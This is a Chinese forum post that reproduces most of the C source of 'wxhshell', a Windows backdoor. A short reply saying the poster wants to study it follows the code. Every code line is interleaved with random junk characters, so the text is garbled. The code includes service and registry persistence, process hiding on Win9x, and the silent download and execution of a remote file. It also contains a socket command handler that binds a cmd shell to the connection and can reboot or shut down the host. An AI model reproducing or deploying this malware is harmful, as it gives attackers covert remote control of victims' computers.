  if(DownloadFile(cmd,wsh)) `&D|>tiz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a#>Yh;FA  
  else J@4Bf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +n#V[~~8AI  
  } _~piZmkG$  
  else { 0URji~?|x  
 OU8Lldt  
    switch(cmd[0]) { qMLD)rL  
  8>0e*jC  
  // 帮助 Y8o)FVcyNy  
  case '?': { S,Xnzrz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t0IEaj75c  
    break; G5C I<KRK#  
  } CbwJd5tk  
  // 安装 5*1D$mxD"  
  case 'i': { O+]Ifm[  
    if(Install()) !4^C #{$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ly:q6i  
    else 8P1=[i]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3+@<lVew6  
    break; P*I}yPeb  
    } jV4\A  
  // 卸载 =~=*&I4Dp  
  case 'r': { PK0%g$0  
    if(Uninstall()) ;i<|9{;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*H|?uNF  
    else K%^V?NP*{Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); maXG:l|  
    break; T[j#M+p  
    } 8C67{^`::  
  // 显示 wxhshell 所在路径 nv@8tdrc  
  case 'p': { %k'!Iq+  
    char svExeFile[MAX_PATH]; U c@Ao:  
    strcpy(svExeFile,"\n\r"); 0cJWJOj&  
      strcat(svExeFile,ExeFile); JV]^zW  
        send(wsh,svExeFile,strlen(svExeFile),0); r\/9X}y4z  
    break; Z yE `/J'  
    } x "^Xj]-  
  // 重启 a{ ?`t|  
  case 'b': { C/TF-g-_Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Ti}CwI`  
    if(Boot(REBOOT)) xwJH(_-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T>R0T{A  
    else { _nbBIaHN{  
    closesocket(wsh); wPwXM!  
    ExitThread(0); G0^2Wk[  
    } 6WU(%  
    break; y0'Rmk,  
    } "a8j"lPJ  
  // 关机 a hR ^  
  case 'd': { S"OR%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L1Iz<>  
    if(Boot(SHUTDOWN)) l i0i"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v" OY 1<8  
    else { @8;W\L$~1  
    closesocket(wsh); ENGg ~D  
    ExitThread(0); .pN`;*7`  
    } V&Xe!S  
    break; m0cP(  
    } d*~ ICir7  
  // 获取shell ]y,==1To  
  case 's': { Y6Lf@}2(i  
    CmdShell(wsh); rmE"rf  
    closesocket(wsh); B, TB3 {  
    ExitThread(0); \Dd-Xn_b  
    break; HA2k [F@3^  
  } ~ ; -! n;  
  // 退出 WIv?}gi: X  
  case 'x': { ~[\_N\rm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \9/ b!A  
    CloseIt(wsh); AO=h 23ZI  
    break; ~wJFa'2  
    } 8"fD`jtQ  
  // 离开 IuNiEtKx  
  case 'q': { 2UFv9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?zQA  
    closesocket(wsh); h\PHK C2  
    WSACleanup(); qeL5D*  
    exit(1); +=.W<b  
    break; s;64N'HH  
        } #1c_evH  
  } ^Nmg07_R  
  } U5He?  
D,g1<:<  
  // 提示信息 <j5NFJ9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x}Aw)QCh+r  
} R0L&*Bjm  
  } DBT&DS  
F$hY KT2|  
  return; S p^9& ^  
} 8`fjF/  
uvV;Mlo]  
// shell模块句柄 T+<A`k: -  
int CmdShell(SOCKET sock) &d5ia+ #  
{ A _XhuQB;d  
STARTUPINFO si; aMvI?y {  
ZeroMemory(&si,sizeof(si)); "sl1vzRN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;\\@q"n%<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H)>;/#!r-  
PROCESS_INFORMATION ProcessInfo; \@1=stK:F  
char cmdline[]="cmd"; y !!E\b=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ")!,ZD  
  return 0; Hx\H $Y  
} %LZ({\5K#f  
jMN[J|us51  
// 自身启动模式 8krpowVs~  
int StartFromService(void) [w&$|h:;  
{ 'qF#<1&  
typedef struct ea 00\  
{ LJ(1RK GCz  
  DWORD ExitStatus; <1.A=_ M  
  DWORD PebBaseAddress; 0#YX=vjX7  
  DWORD AffinityMask; & _g TD  
  DWORD BasePriority; j~e;DO  
  ULONG UniqueProcessId; E)9yH\$6  
  ULONG InheritedFromUniqueProcessId; 3RR_fmMT)  
}   PROCESS_BASIC_INFORMATION; `QUy;%+  
't9hXzAfW  
PROCNTQSIP NtQueryInformationProcess; = pzn u+,  
C$@yG)Pj   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0`I-2M4F*Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !grVR157P  
YNBHBK4;  
  HANDLE             hProcess; 7zv1 wb  
  PROCESS_BASIC_INFORMATION pbi; $Tb G+Eb8  
9Y<#=C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ph#tgLJ  
  if(NULL == hInst ) return 0; , E$@=1)  
vQa'S-@u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u]ZqOJXxu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w1|A5q'M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bC3 F  
%Jf<l&K .`  
  if (!NtQueryInformationProcess) return 0; i]#+1Hf  
W7\&~IWub  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cua%1]"4w  
  if(!hProcess) return 0; brZ sA Q+k  
C(id=F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z-B%'/.  
!!:LJ  
  CloseHandle(hProcess); 3w!c`;c%  
2Gs$?}"a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZJjTzEV%^B  
if(hProcess==NULL) return 0; 7 uarh!  
xwH?0/  
HMODULE hMod; 7'-j%!#w  
char procName[255]; /LM4- S  
unsigned long cbNeeded; kGUJ9Du  
w?,M}=vg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3F#+~^2  
0iZGPe~  
  CloseHandle(hProcess); :vL1}H<  
4W#E`9 6u  
if(strstr(procName,"services")) return 1; // 以服务启动 8v)_6p(<x8  
WpLZQ6wH  
  return 0; // 注册表启动 zj|/ CxV  
} BvU"4d;x  
T'fcc6D5p  
// 主模块 =5s F"L;b  
int StartWxhshell(LPSTR lpCmdLine) O3.C:?;x  
{ NA.1QQ ;e  
  SOCKET wsl; 5`<eKwls  
BOOL val=TRUE; CVi`bO4\  
  int port=0; <q,+ON\'  
  struct sockaddr_in door; sK 2 e&  
SxjCwX">  
  if(wscfg.ws_autoins) Install(); jb /8?7  
+} mk>e/  
port=atoi(lpCmdLine); ==cd>03()  
Fn^C{p^  
if(port<=0) port=wscfg.ws_port; <g9"Cr`  
%k0EpJE%  
  WSADATA data; 3g~^LZ66  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {$M;H+Foh  
Uw<&Wm`'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LjdYsai-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y1dVM]l  
  door.sin_family = AF_INET; jFerYv&K~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gq5qRi`q  
  door.sin_port = htons(port); ^\:2}4Uj_  
t?^9HP1b_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;:m&#YJV  
closesocket(wsl); -n*;W9  
return 1; E-1"+p  
} w.N,)]h  
Qeb}!k2A  
  if(listen(wsl,2) == INVALID_SOCKET) { G*\h\ @  
closesocket(wsl); ~@8+hnE]  
return 1; =w<v3wWN4  
} e(1k0W4B  
  Wxhshell(wsl); 9YF$CXonE=  
  WSACleanup(); #\bP7a +  
(RXS~8  
return 0; c#b:3dXx9  
;5 <-)  
} v.W{x?5  
S)%_weLW7  
// 以NT服务方式启动 }iIbcA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # X.+  
{ )'q%2%Ak  
DWORD   status = 0; _eLVBG35z  
  DWORD   specificError = 0xfffffff; GLKO]y  
M+sj}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j.3o W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PdY>#Cyh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C4$/?,K(  
  serviceStatus.dwWin32ExitCode     = 0; fo\\o4Qyh  
  serviceStatus.dwServiceSpecificExitCode = 0; C]`eH *z~8  
  serviceStatus.dwCheckPoint       = 0; GH'O! }  
  serviceStatus.dwWaitHint       = 0; [V@yRWI  
<?$kI>Ot  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MB:n~>ga  
  if (hServiceStatusHandle==0) return; um8AdiK  
=8{*@>CX  
status = GetLastError(); @~jxG%y86  
  if (status!=NO_ERROR) F>:%Cyo0!  
{ # bX~=`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qmmv7==  
    serviceStatus.dwCheckPoint       = 0; ma}}Sn)Q  
    serviceStatus.dwWaitHint       = 0; GYgWf1$8_D  
    serviceStatus.dwWin32ExitCode     = status; 7;HUE!5,^l  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bt>}LLBS2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :$"7-a %f  
    return; oA3d^%(c  
  } GhnE>d;i  
\; bW h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xQz#i-v  
  serviceStatus.dwCheckPoint       = 0; X Usy.l/  
  serviceStatus.dwWaitHint       = 0; @;9()ad  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <`JG>H*B6  
} `F,zenk=  
jA2ofC  
// 处理NT服务事件,比如:启动、停止 rh$1-Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  nhfwOS  
{ 96W4 c]NT  
switch(fdwControl) N^@ \tg=  
{ g)M#{"H  
case SERVICE_CONTROL_STOP: Q=.g1$LP  
  serviceStatus.dwWin32ExitCode = 0; DyI2Ye  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `2x34  
  serviceStatus.dwCheckPoint   = 0; 5c~'!:7  
  serviceStatus.dwWaitHint     = 0; %)IrXz>Zh  
  { SY6r 8RK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -HTL5  
  } d2ofxfpg+  
  return; -~'kP /E^  
case SERVICE_CONTROL_PAUSE: zZYHc?Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <t6 d)mJ%  
  break; ew"m!F#  
case SERVICE_CONTROL_CONTINUE: f)tc4iV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Y4q+sDW  
  break; ` Y\QUj  
case SERVICE_CONTROL_INTERROGATE: Ij$)RSPtH  
  break; !'PlDGD  
}; rHo6iJj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qy%xL9  
} -$tCF>,  
akrCs&Kka5  
// 标准应用程序主函数 O<iI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gDc]^K4>  
{ #x|VfN5f  
1?]J;9p  
// 获取操作系统版本 |bvGYsn_#=  
OsIsNt=GetOsVer(); T=yCN#cqQ`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o(nHB g  
?7 X3 P  
  // 从命令行安装 q\G{]dz?R  
  if(strpbrk(lpCmdLine,"iI")) Install(); dff#{  
0, "ZV}  
  // 下载执行文件 SJF2k[da  
if(wscfg.ws_downexe) { R''Sfz>8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v5gQ9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'iDu0LX  
} j~Ff/ O  
'U*udkn 2]  
if(!OsIsNt) {  z8tt+AU  
// 如果时win9x,隐藏进程并且设置为注册表启动 l85CJ+rg  
HideProc(); B4 <_"0  
StartWxhshell(lpCmdLine); I$F\(]"@  
} cxk=| ?l  
else  1dXh\r_n  
  if(StartFromService()) > d)|r  
  // 以服务方式启动 L;kyAX@^  
  StartServiceCtrlDispatcher(DispatchTable); hXBqz9  
else UFJEs[?+Te  
  // 普通方式启动 ir"* iL=  
  StartWxhshell(lpCmdLine); 6l=M;B7:i  
W|FNDP0  
return 0; lTd+{TF.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五